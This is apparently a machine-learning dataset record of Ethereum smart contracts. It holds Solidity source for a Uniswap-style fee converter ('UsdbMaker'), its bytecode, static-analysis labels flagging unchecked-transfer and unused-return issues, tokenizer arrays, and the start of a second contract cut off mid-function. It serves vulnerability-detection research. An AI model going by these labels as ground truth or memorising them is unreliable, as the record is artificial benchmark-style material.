Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/uniswapv2/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/uniswapv2/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File: contracts/UsdbMaker.sol pragma solidity 0.6.12; contract UsdbMaker { using SafeMath for uint256; using SafeERC20 for IERC20; IUniswapV2Factory public factory; address public bar; address public usdb; address public weth; constructor(IUniswapV2Factory _factory, address _bar, address _usdb, address _weth) public { factory = _factory; usdb = _usdb; bar = _bar; weth = _weth; } function convert(address token0, address token1) public { // At least we try to make front-running harder to do. require(msg.sender == tx.origin, "do not convert from contract"); IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1)); pair.transfer(address(pair), pair.balanceOf(address(this))); pair.burn(address(this)); uint256 wethAmount = _toWETH(token0) + _toWETH(token1); _toUSDB(wethAmount); } function _toWETH(address token) internal returns (uint256) { if (token == usdb) { uint amount = IERC20(token).balanceOf(address(this)); _safeTransfer(token, bar, amount); return 0; } if (token == weth) { uint amount = IERC20(token).balanceOf(address(this)); _safeTransfer(token, factory.getPair(weth, usdb), amount); return amount; } IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token, weth)); if (address(pair) == address(0)) { return 0; } (uint reserve0, uint reserve1,) = pair.getReserves(); address token0 = pair.token0(); (uint reserveIn, uint reserveOut) = token0 == token ? (reserve0, reserve1) : (reserve1, reserve0); uint amountIn = IERC20(token).balanceOf(address(this)); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); uint amountOut = numerator / denominator; (uint amount0Out, uint amount1Out) = token0 == token ? (uint(0), amountOut) : (amountOut, uint(0)); _safeTransfer(token, address(pair), amountIn); pair.swap(amount0Out, amount1Out, factory.getPair(weth, usdb), new bytes(0)); return amountOut; } function _toUSDB(uint256 amountIn) internal { IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(weth, usdb)); (uint reserve0, uint reserve1,) = pair.getReserves(); address token0 = pair.token0(); (uint reserveIn, uint reserveOut) = token0 == weth ? (reserve0, reserve1) : (reserve1, reserve0); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); uint amountOut = numerator / denominator; (uint amount0Out, uint amount1Out) = token0 == weth ? (uint(0), amountOut) : (amountOut, uint(0)); pair.swap(amount0Out, amount1Out, bar, new bytes(0)); } function _safeTransfer(address token, address to, uint256 amount) internal { IERC20(token).safeTransfer(to, amount); } }
0x608060405234801561001057600080fd5b50600436106100565760003560e01c80626f7d001461005b5780633fc8cef31461007f578063bd1b820c14610087578063c45a0155146100b7578063febb0f7e146100bf575b600080fd5b6100636100c7565b604080516001600160a01b039092168252519081900360200190f35b6100636100d6565b6100b56004803603604081101561009d57600080fd5b506001600160a01b03813581169160200135166100e5565b005b61006361034c565b61006361035b565b6002546001600160a01b031681565b6003546001600160a01b031681565b333214610139576040805162461bcd60e51b815260206004820152601c60248201527f646f206e6f7420636f6e766572742066726f6d20636f6e747261637400000000604482015290519081900360640190fd5b600080546040805163e6a4390560e01b81526001600160a01b03868116600483015285811660248301529151919092169163e6a43905916044808301926020929190829003018186803b15801561018f57600080fd5b505afa1580156101a3573d6000803e3d6000fd5b505050506040513d60208110156101b957600080fd5b5051604080516370a0823160e01b815230600482015290519192506001600160a01b0383169163a9059cbb91849184916370a08231916024808301926020929190829003018186803b15801561020e57600080fd5b505afa158015610222573d6000803e3d6000fd5b505050506040513d602081101561023857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561028957600080fd5b505af115801561029d573d6000803e3d6000fd5b505050506040513d60208110156102b357600080fd5b50506040805163226bf2d160e21b815230600482015281516001600160a01b038416926389afcb4492602480820193918290030181600087803b1580156102f957600080fd5b505af115801561030d573d6000803e3d6000fd5b505050506040513d604081101561032357600080fd5b50600090506103318361036a565b61033a8561036a565b019050610346816109cb565b50505050565b6000546001600160a01b031681565b6001546001600160a01b031681565b6002546000906001600160a01b0383811691161415610423576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156103d257600080fd5b505afa1580156103e6573d6000803e3d6000fd5b505050506040513d60208110156103fc57600080fd5b50516001549091506104199084906001600160a01b031683610cf1565b60009150506109c6565b6003546001600160a01b0383811691161415610551576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561048857600080fd5b505afa15801561049c573d6000803e3d6000fd5b505050506040513d60208110156104b257600080fd5b50516000546003546002546040805163e6a4390560e01b81526001600160a01b03938416600482015291831660248301525193945061054a938793929092169163e6a4390591604480820192602092909190829003018186803b15801561051857600080fd5b505afa15801561052c573d6000803e3d6000fd5b505050506040513d602081101561054257600080fd5b505183610cf1565b90506109c6565b600080546003546040805163e6a4390560e01b81526001600160a01b03878116600483015292831660248201529051919092169163e6a43905916044808301926020929190829003018186803b1580156105aa57600080fd5b505afa1580156105be573d6000803e3d6000fd5b505050506040513d60208110156105d457600080fd5b505190506001600160a01b0381166105f05760009150506109c6565b600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561062c57600080fd5b505afa158015610640573d6000803e3d6000fd5b505050506040513d606081101561065657600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b03871692630dfe1681926004808201939291829003018186803b1580156106b257600080fd5b505afa1580156106c6573d6000803e3d6000fd5b505050506040513d60208110156106dc57600080fd5b505190506000806001600160a01b03808416908916146106fd578385610700565b84845b915091506000886001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561075357600080fd5b505afa158015610767573d6000803e3d6000fd5b505050506040513d602081101561077d57600080fd5b50519050600061078f826103e5610d0a565b9050600061079d8285610d0a565b905060006107b7836107b1886103e8610d0a565b90610d6c565b905060008183816107c457fe5b0490506000808e6001600160a01b03168a6001600160a01b0316146107eb578260006107ef565b6000835b915091506107fe8f8e89610cf1565b8c6001600160a01b031663022c0d9f838360008054906101000a90046001600160a01b03166001600160a01b031663e6a43905600360009054906101000a90046001600160a01b0316600260009054906101000a90046001600160a01b03166040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b1580156108aa57600080fd5b505afa1580156108be573d6000803e3d6000fd5b505050506040513d60208110156108d457600080fd5b50516040805160008082526020820190925290506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561094f578181015183820152602001610937565b50505050905090810190601f16801561097c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561099e57600080fd5b505af11580156109b2573d6000803e3d6000fd5b50949f505050505050505050505050505050505b919050565b600080546003546002546040805163e6a4390560e01b81526001600160a01b039384166004820152918316602483015251919092169163e6a43905916044808301926020929190829003018186803b158015610a2657600080fd5b505afa158015610a3a573d6000803e3d6000fd5b505050506040513d6020811015610a5057600080fd5b505160408051630240bc6b60e21b8152905191925060009182916001600160a01b03851691630902f1ac91600480820192606092909190829003018186803b158015610a9b57600080fd5b505afa158015610aaf573d6000803e3d6000fd5b505050506040513d6060811015610ac557600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b03871692630dfe1681926004808201939291829003018186803b158015610b2157600080fd5b505afa158015610b35573d6000803e3d6000fd5b505050506040513d6020811015610b4b57600080fd5b505160035490915060009081906001600160a01b03808516911614610b71578385610b74565b84845b90925090506000610b87886103e5610d0a565b90506000610b958284610d0a565b90506000610ba9836107b1876103e8610d0a565b90506000818381610bb657fe5b600354919004915060009081906001600160a01b038a8116911614610bdd57826000610be1565b6000835b600154604080516000808252602082019092529395509193506001600160a01b038f81169363022c0d9f9387938793169190506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c7b578181015183820152602001610c63565b50505050905090810190601f168015610ca85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610cca57600080fd5b505af1158015610cde573d6000803e3d6000fd5b5050505050505050505050505050505050565b610d056001600160a01b0384168383610dc6565b505050565b600082610d1957506000610d66565b82820282848281610d2657fe5b0414610d635760405162461bcd60e51b81526004018080602001828103825260218152602001806110c06021913960400191505060405180910390fd5b90505b92915050565b600082820183811015610d63576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610d059084906060610e68826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610ec49092919063ffffffff16565b805190915015610d0557808060200190516020811015610e8757600080fd5b5051610d055760405162461bcd60e51b815260040180806020018281038252602a8152602001806110e1602a913960400191505060405180910390fd5b6060610ed38484600085610edb565b949350505050565b6060610ee685611086565b610f37576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610f765780518252601f199092019160209182019101610f57565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610fd8576040519150601f19603f3d011682016040523d82523d6000602084013e610fdd565b606091505b50915091508115610ff1579150610ed39050565b8051156110015780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561104b578181015183820152602001611033565b50505050905090810190601f1680156110785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610ed357505015159291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220fb2a2f68add4d2b8985ee30f3eff4087e1fb1ed2ff26ebf27ba0c158feae6d3d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2575, 2546, 2475, 9818, 27531, 19841, 2549, 2050, 2549, 2094, 25746, 2683, 2063, 17788, 29097, 2497, 16576, 16932, 2683, 2575, 2581, 27717, 2549, 9818, 18939, 2581, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,582
0x97072a4340467d6d2012140f1dc425a16bec6a0c
// SPDX-License-Identifier: (c) Armor.Fi DAO, 2021 pragma solidity ^0.6.6; interface IKeeperRecipient { function keep() external; } interface IArmorMaster { function registerModule(bytes32 _key, address _module) external; function getModule(bytes32 _key) external view returns(address); function keep() external; } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * @dev Completely default OpenZeppelin. */ contract Ownable { address private _owner; address private _pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initializeOwnable() internal { require(_owner == address(0), "already initialized"); _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "msg.sender is not owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _pendingOwner = newOwner; } function receiveOwnership() public { require(msg.sender == _pendingOwner, "only pending owner can call this function"); _transferOwnership(_pendingOwner); _pendingOwner = address(0); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private __gap; } library Bytes32 { function toString(bytes32 x) internal pure returns (string memory) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint256 j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint256 j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } /** * @dev Each arCore contract is a module to enable simple communication and interoperability. ArmorMaster.sol is master. **/ contract ArmorModule { IArmorMaster internal _master; using Bytes32 for bytes32; modifier onlyOwner() { require(msg.sender == Ownable(address(_master)).owner(), "only owner can call this function"); _; } modifier doKeep() { _master.keep(); _; } modifier onlyModule(bytes32 _module) { string memory message = string(abi.encodePacked("only module ", _module.toString()," can call this function")); require(msg.sender == getModule(_module), message); _; } /** * @dev Used when multiple can call. **/ modifier onlyModules(bytes32 _moduleOne, bytes32 _moduleTwo) { string memory message = string(abi.encodePacked("only module ", _moduleOne.toString()," or ", _moduleTwo.toString()," can call this function")); require(msg.sender == getModule(_moduleOne) || msg.sender == getModule(_moduleTwo), message); _; } function initializeModule(address _armorMaster) internal { require(address(_master) == address(0), "already initialized"); require(_armorMaster != address(0), "master cannot be zero address"); _master = IArmorMaster(_armorMaster); } function changeMaster(address _newMaster) external onlyOwner { _master = IArmorMaster(_newMaster); } function getModule(bytes32 _key) internal view returns(address) { return _master.getModule(_key); } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error * * @dev Default OpenZeppelin */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Balance Expire Traker * @dev Keeps track of expiration of user balances. **/ contract BalanceExpireTracker { using SafeMath for uint64; using SafeMath for uint256; // Don't want to keep typing address(0). Typecasting just for clarity. uint160 private constant EMPTY = uint160(address(0)); // 3 days for each step. uint64 public constant BUCKET_STEP = 3 days; // indicates where to start from // points where TokenInfo with (expiredAt / BUCKET_STEP) == index mapping(uint64 => Bucket) public checkPoints; struct Bucket { uint160 head; uint160 tail; } // points first active nft uint160 public head; // points last active nft uint160 public tail; // maps expireId to deposit info mapping(uint160 => ExpireMetadata) public infos; // pack data to reduce gas struct ExpireMetadata { uint160 next; // zero if there is no further information uint160 prev; uint64 expiresAt; } function expired() internal view returns(bool) { if(infos[head].expiresAt == 0) { return false; } if(infos[head].expiresAt <= uint64(now)){ return true; } return false; } // using typecasted expireId to save gas function push(uint160 expireId, uint64 expiresAt) internal { require(expireId != EMPTY, "info id address(0) cannot be supported"); // If this is a replacement for a current balance, remove it's current link first. if (infos[expireId].expiresAt > 0) pop(expireId); uint64 bucket = uint64( (expiresAt.div(BUCKET_STEP)).mul(BUCKET_STEP) ); if (head == EMPTY) { // all the nfts are expired. so just add head = expireId; tail = expireId; checkPoints[bucket] = Bucket(expireId, expireId); infos[expireId] = ExpireMetadata(EMPTY,EMPTY,expiresAt); return; } // there is active nft. we need to find where to push // first check if this expires faster than head if (infos[head].expiresAt >= expiresAt) { // pushing nft is going to expire first // update head infos[head].prev = expireId; infos[expireId] = ExpireMetadata(head, EMPTY,expiresAt); head = expireId; // update head of bucket Bucket storage b = checkPoints[bucket]; b.head = expireId; if(b.tail == EMPTY) { // if tail is zero, this bucket was empty should fill tail with expireId b.tail = expireId; } // this case can end now return; } 